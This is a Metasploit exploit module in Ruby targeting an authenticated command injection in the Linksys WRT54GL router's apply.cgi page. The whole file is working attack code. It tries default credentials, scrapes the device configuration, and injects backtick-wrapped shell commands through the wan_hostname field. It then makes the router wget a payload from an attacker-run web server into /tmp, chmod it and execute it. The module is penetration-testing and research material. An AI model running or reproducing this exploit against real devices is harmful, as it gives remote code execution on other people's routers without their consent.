metasploit-framework/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'	=> 'Linksys WRT54GL apply.cgi Command Execution',
			'Description' => %q{
					Some Linksys Routers are vulnerable to an authenticated OS command injection.
				Default credentials for the web interface are admin/admin or admin/password. Since
				it is a blind os command injection vulnerability, there is no output for the
				executed command when using the cmd generic payload. A ping command against a
				controlled system could be used for testing purposes.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'BID', '57459' ],
					[ 'EDB', '24202' ],
					[ 'OSVDB', '89912' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]
				],
			'DisclosureDate' => 'Jan 18 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'	=>
				{
					'DisableNops' => true
				},
			'Targets'	=>
				[
					[ 'CMD',
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsel Payload',
						{
						'Arch' => ARCH_MIPSLE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 1,
			))

		register_options(
			[
				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
				OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]),
				OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]),
			], self.class)
	end


	def get_config(config, pattern)
		if config =~ /#{pattern}/
			return $1
		end
		return ""
	end

	def grab_config(user,pass)
		print_status("#{rhost}:#{rport} - Trying to download the original configuration")
		begin
			res = send_request_cgi({
				'uri'     => '/index.asp',
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if [200, 301, 302].include?(res.code)
				if res.body =~ /lan_ipaddr_0/
					print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
				else
					fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
				end
			else
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end

		@now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
		if @now_proto_orig !~ /dhcp/
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
		end
		@daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
		@lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
		@wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
		@need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
		@wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
		@lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
		@lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
		@lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
		@lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\(this,1,254,'IP'\)\;Sel_SubMask\(this.form.lan_netmask,this.form\);\"\ size=3\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")
		@router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>")
		@wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>")
		@wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Host%20Name\"\)><\/FONT><\/TD>")
		@wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\(this\)\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")
		if @wan_mtu_orig.to_i > 1500
			@mtu_enable = "0"
		end
		@ui_language_orig = "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>"
		@dhcp_lease_orig = "<INPUT\ maxLength=4\ onBlur=valid_range\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num"
		@dhcp_num_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\)\;Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>"
		@dhcp_start_orig = "Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">"
		@netmask_orig = "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>"
		@wan_dns_orig = "<input\ type=hidden\ name=wan_dns\ value=(.*)>"
		@wan_dns0_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>"
		@wan_dns0_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>"
		@wan_dns0_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>"
		@wan_dns0_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>"
		@wan_dns1_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>"
		@wan_dns1_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>"
		@wan_dns1_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>"
		@wan_dns1_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>"
		@wan_dns2_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>"
		@wan_dns2_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>"
		@wan_dns2_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>"
		@wan_dns2_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>"
		@wan_wins_orig = "<input\ type=hidden\ name=wan_wins\ value=(.*)>"
		@wan_wins_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>"
		@wan_wins_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>"
		@wan_wins_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>"
		@wan_wins_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>"
	end

	def restore_conf(user,pass,uri)
		# we have used most parts of the original configuration
		# just need to restore pppoe_username
		cmd = @wan_hostname_orig.to_s
		print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")

		# WARNING: restore of wan_hostname_orig not working!!!
		res = request(cmd,user,pass,uri)

		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
		end

		#the device needs around 30 seconds to apply our current configuration
		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)
	end

	def request(cmd,user,pass,uri)
		begin
			res = send_request_cgi({
				'uri'    => uri,
				'method' => 'POST',
				'authorization' => basic_auth(user,pass),
				'encode_params' => false,
				'vars_post' => {
					'submit_button' => "index",
					'change_action' => "1",
					'submit_type' => "1",
					'action' => "Apply",
					'now_proto' => @now_proto_orig.to_s,
					'daylight_time' => @daylight_time_orig.to_s,
					'lan_ipaddr' => @lan_ipaddr_orig.to_s,
					'wait_time' => @wait_time_orig.to_s,
					'need_reboot' => @need_reboot_orig.to_s,
					'ui_language' => @ui_language_orig,
					'wan_proto' => @wan_proto_orig.to_s,
					'router_name' => @router_name_orig.to_s,
					'wan_hostname' => cmd,
					'wan_domain' => @wan_domain_orig.to_s,
					'mtu_enable' => @mtu_enable.to_s,
					'wan_mtu' => @wan_mtu_orig.to_s,
					'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s,
					'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s,
					'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
					'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
					'lan_netmask' => "255.255.255.#{@netmask_orig}",
					'lan_proto' => @lan_proto_manual.to_s, # It should be configured with datastore['LAN_PROTO']
					'dhcp_check' => "1",
					'dhcp_start' => @dhcp_start_orig.to_s,
					'dhcp_num' => @dhcp_num_orig.to_s,
					'dhcp_lease' => @dhcp_lease_orig.to_s,
					'wan_dns' => @wan_dns_orig.to_s,
					'wan_dns0_0' => @wan_dns0_0_orig.to_s,
					'wan_dns0_1' => @wan_dns0_1_orig.to_s,
					'wan_dns0_2' => @wan_dns0_2_orig.to_s,
					'wan_dns0_3' => @wan_dns0_3_orig.to_s,
					'wan_dns1_0' => @wan_dns1_0_orig.to_s,
					'wan_dns1_1' => @wan_dns1_1_orig.to_s,
					'wan_dns1_2' => @wan_dns1_2_orig.to_s,
					'wan_dns1_3' => @wan_dns1_3_orig.to_s,
					'wan_dns2_0' => @wan_dns2_0_orig.to_s,
					'wan_dns2_1' => @wan_dns2_1_orig.to_s,
					'wan_dns2_2' => @wan_dns2_2_orig.to_s,
					'wan_dns2_3' => @wan_dns2_3_orig.to_s,
					'wan_wins' => @wan_wins_orig.to_s,
					'wan_wins_0' => @wan_wins_0_orig.to_s,
					'wan_wins_1' => @wan_wins_1_orig.to_s,
					'wan_wins_2' => @wan_wins_2_orig.to_s,
					'wan_wins_3' => @wan_wins_3_orig.to_s,
					'time_zone' => "-08+1+1",		#default is ok
					'_daylight_time' => '1'			#default is ok
					}
				})
			return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost} - Failed to connect to the web server")
			return nil
		end

	end

	def exploit
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
		uri = '/apply.cgi'
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		rhost = datastore['RHOST']
		rport = datastore['RPORT']
		restore = datastore['RESTORE_CONF']
		@timeout = 10
		@lan_proto_manual = datastore['LAN_PROTO']

		#
		# testing Login
		#
		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
		begin
			res = send_request_cgi({
				'uri'     => uri,
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if [200, 301, 302].include?(res.code)
				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
			else
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end


		grab_config(user,pass)

		if target.name =~ /CMD/
			if not (datastore['CMD'])
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
			end
			cmd = payload.encoded
			cmd = "`#{cmd}`"
			res = request(cmd,user,pass,uri)
			if (!res)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
				restore_conf(user,pass,uri) if restore
			else
				print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
				if restore
					print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
					select(nil, nil, nil, @timeout)
					restore_conf(user,pass,uri)
				end

			end
			return
		end

		#thx to Juan for his awesome work on the mipsel elf support
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			#we use SRVHOST as download IP for the coming wget command.
			#SRVHOST needs a real IP address of our download host
			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		#not working if we send all command together -> lets take three requests
		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
		cmd = "`#{cmd}`"
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end
		register_file_for_cleanup("/tmp/#{filename}")

		#
		# chmod
		#
		cmd = "chmod 777 /tmp/#{filename}"
		cmd = "`#{cmd}`"
		print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end
		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)

		#
		# execute
		#
		cmd = "/tmp/#{filename}"
		cmd = "`#{cmd}`"
		print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end
		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)

		#
		#reload original configuration
		#
		if restore
			restore_conf(user,pass,uri)
		end
	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
			end
		end
	end

end